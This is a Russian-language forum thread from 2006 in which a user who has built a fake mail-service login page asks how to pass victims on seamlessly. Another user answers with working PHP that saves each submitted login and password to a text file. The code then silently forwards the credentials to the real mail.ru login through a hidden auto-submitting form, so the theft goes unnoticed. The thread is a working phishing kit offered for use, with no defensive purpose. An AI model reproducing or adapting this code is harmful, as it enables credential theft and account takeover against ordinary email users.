Post метод в PHP

Discussion in 'PHP' started by Herevef, 13 Dec 2006.

  1. Herevef

    Herevef Member

    Joined:
    28 Nov 2006
    Messages:
    9
    Likes Received:
    13
    Reputations:
    5
    Здравствуйте!
    Следующая проблема.
    Сделал фейк mail сервиса.
    Строку <form method="post" action="auth" onSubmit="return CheckForm(this);"> изменил на:
    <form method="post" action="auth.php" onSubmit="return CheckForm(this);">
    auth.php записывает введенные логин и пароль в файл. Это все работает.
    Теперь, как сделать, чтобы после записи в файл, автоматически происходила авторизация и переброска в личный кабинет.
     
  2. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Для удобства и наглядности организуй запись логина-паса и логин на мыло в одном файле по типу

    PHP:
    <?php

    if ( (isset($_POST["Login"])) AND (isset($_POST["Password"])) ) {
    $fp fopen("passwords.txt""a");
    fwrite($fp"\n");
    fwrite($fp"\n");
    fwrite($fp"User: ");
    fwrite($fp, @$_POST["Login"]);
    fwrite($fp"\n");
    fwrite($fp"Pass: ");
    fwrite($fp, @$_POST["Password"]);
    fwrite($fp"\n");
    fwrite($fp"\n");
    }
    ?>
    <html>
    <head>
    </head>
    <body>
    <form id='mail_send' method='post' action='http://win.mail.ru/cgi-bin/login'>
    <input type='hidden' name='Login' value='<?php print @$_POST["Login"]; ?>'>
    <input type='hidden' name='Password' value='<?php print @$_POST["Password"]; ?>'>
    #в сл. строке или напиши еще запись по разным доменам мэил.ру или вручную проделывай все, просто вписывая сам домен mail.ru inbox.ru bk.ru list.ru
    <input type='hidden' name='Domain' value='mail.ru'>
    </form>
    <script language='javascript'>
    document.getElementById("mail_send").submit();
    </script>
    </body>
    </html>
     
    2 people like this.
  3. Herevef

    Herevef Member

    Joined:
    28 Nov 2006
    Messages:
    9
    Likes Received:
    13
    Reputations:
    5
    Благодарю за быстрый и грамотный ответ.
     
    1 person likes this.